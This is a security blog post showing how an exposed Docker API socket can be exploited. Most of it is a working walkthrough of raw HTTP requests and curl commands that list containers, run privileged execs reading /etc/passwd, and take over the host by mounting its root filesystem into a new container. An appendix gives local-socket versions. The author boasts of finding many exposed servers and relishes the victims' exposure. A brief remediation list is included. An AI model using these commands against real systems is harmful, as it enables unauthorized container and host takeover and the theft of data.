By default, when the docker command is executed on a host, an API call to the docker daemon is made via a non-networked UNIX socket located at /var/run/docker.sock. This socket file is the main API to control any of the docker containers running on that host. However, many containers and guides require you to expose this socket file as a volume within a container[1][2][3][4][5][6] or in some cases, expose it on a TCP port[1][2][3]. Docker containers that expose /var/run/docker.sock, locally or remotely, could lead to a full environment take over.

I've already found a large number of servers that expose docker.sock to the internet.

This vulnerability isn't a new idea, the danger of exposing the docker.sock file have been talked about before. However, my post will expand on the issue, explain how to take advantage of it, and what you can do to fix it. If you follow me on twitter I'll share a script soon that I made to make exploiting this even easier.

What can you do with it?

Exploiting a exposed docker.sock file allows you to do pretty much anything you want with any of the containers that run on the host. Access to the docker.sock file, locally or remotely, allows you to control docker as if you were on the host itself running docker commands.

The simplest example of this is exploiting access to the docker.sock file via the official docker client. This can occur if you happen to get access to a container with the docker client already installed or if you have the ability to install the docker client. To exploit this, you can simply run regular docker commands including exec to get shell:

[email protected]:/# ls -alh /var/run/docker.sock #checking if socket is availible
srw-rw---- 1 root 999 0 Apr  4 02:00 /var/run/docker.sock

[email protected]:/# hostname
9e50daaea94f

[email protected]:/# docker container ls
CONTAINER ID        NAMES
509eebf873fb        another_container
9e50daaea94f        current_container

[email protected]:/# docker exec -it another_container bash #running bash on the other container

[email protected]:/# hostname
509eebf873fb

However, to run this, you have to already have RCE on a container. Even with RCE, most of the time you will not have access to a docker client and installing a docker client might not be possible. If this is the case, you can make raw http requests to /var/run/docker.sock.

While it is possible to exploit a docker environment with RCE on a docker container by making HTTP requests to the docker.sock file, it is an unlikely situation. The more likely situation is finding the docker.sock file exposed remotely via a TCP Port. In my examples on how to exploit this misconfiguration, I'll post the raw HTTP request and curl commands for remote exploitation. I'll have an appendix section that will list the equivalent curl commands to run for exploiting local environments.

If you need to run any commands that I don't list below, the docker API is very well documented

Click here if you want to follow along. This is a CloudFormation script. You will need to have an AWS account with permissions to start a new EC2 instance. Don't forget to delete the stack after you are done!

Getting RCE on a Container

1) List all containers

The first step is to get a list of all containers on the host. To do this, the following http request will need to be executed:

GET /containers/json HTTP/1.1
Host: <docker_host>:PORT

Curl command:

curl -i -s -X GET http://<docker_host>:PORT/containers/json

Expected response:

HTTP/1.1 200 OK
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
Date: Thu, 04 Apr 2019 05:56:03 GMT
Content-Length: 1780

[
    {
        "Id":"a4621ceab3729702f18cfe852003489341e51e036d13317d8e7016facb8ebbaf",
        "Names":["/another_container"],
        "Image":"ubuntu:latest",
        "ImageID":"sha256:94e814e2efa8845d95b2112d54497fbad173e45121ce9255b93401392f538499",
        "Command":"bash",
        "Created":1554357359,
        "Ports":[],
        "Labels":{},
        "State":"running",
        "Status":"Up 3 seconds",
        "HostConfig":{"NetworkMode":"default"},
        "NetworkSettings":{"Networks": 
        ...

From the response take note of the "Id" field as the next commands will use them.

2) Create an exec

Next, we will need to create a "exec" instance that will be executed on the container. This is where you will input the command you want to run.

The following items in the request will need to be changed in the request:

POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188

{
  "AttachStdin": true,
  "AttachStdout": true,
  "AttachStderr": true,
  "Cmd": ["cat", "/etc/passwd"],
  "DetachKeys": "ctrl-p,ctrl-q",
  "Privileged": true,
  "Tty": true
}

Curl command:

curl -i -s -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://<docker_host>:PORT/containers/<container_id>/exec

Expected Response:

HTTP/1.1 201 Created
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
Date: Fri, 05 Apr 2019 00:51:31 GMT
Content-Length: 74

{"Id":"8b5e4c65e182cec039d38ddb9c0a931bbba8f689a4b3e1be1b3e8276dd2d1916"}

From the response take note of the "Id" field as the next commands will use them.

3) Start the exec

Now that the "exec" is created, we need to run it.

The following items in the request will need to be changed:

POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json

{
 "Detach": false,
 "Tty": false
}

Curl command:

curl -i -s -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://<docker_host>:PORT/exec/<exec_id>/start

Expected Response:

HTTP/1.1 200 OK
Content-Type: application/vnd.docker.raw-stream
Api-Version: 1.39
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Seeing the nice delimited format of /etc/passwd is beautiful, isn't it? Well I'm sure to the people who are vulnerable it isn't but to us, it is.

Bonus: Take over the host

Starting a docker container with the root of the host mounted to a volume on the container will allow commands to be executed against the host's filesystem. Since the vulnerability discussed in this post allows you to have full control of the API, it is possible to take control of the docker host. I won't get into the crazy details, but here are the curl commands to do this:

Note: don't forget to change the dockerhost, port, and containerID (where applicable)

1) Download the ubuntu image

curl -i -s -k  -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/images/create?fromImage=ubuntu&tag=latest

2) Create the container with the mounted volume

curl -i -s -k  -X 'POST' \
-H 'Content-Type: application/json' \
--data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' \
http://<docker_host>:PORT/containers/create

3) Start the container

curl -i -s -k  -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/containers/<container_ID>/start

From here, use the code execution vulnerability discussed above to run commands against the new container. Don't forget to add chroot /hostos if you want to run the command against the Host OS.

How do I fix this?

  1. Avoid making docker.sock available remotely or at the container level at all costs (If possible).

  2. Follow this if you absolutely need to make the socket file remotely available

  3. Set up proper security groups and firewall rules to block access from IPs that do not need access.

Appendix

Local Commands

Here is a list of curl commands to run if the API is not available remotely but is available locally.

1) List all containers

sudo curl -i -s --unix-socket /var/run/docker.sock -X GET \
http://localhost/containers/json

2) Create an exec

sudo curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://localhost/containers/<container_id>/exec

3) Start the exec

sudo curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://localhost/exec/<exec_id>/start

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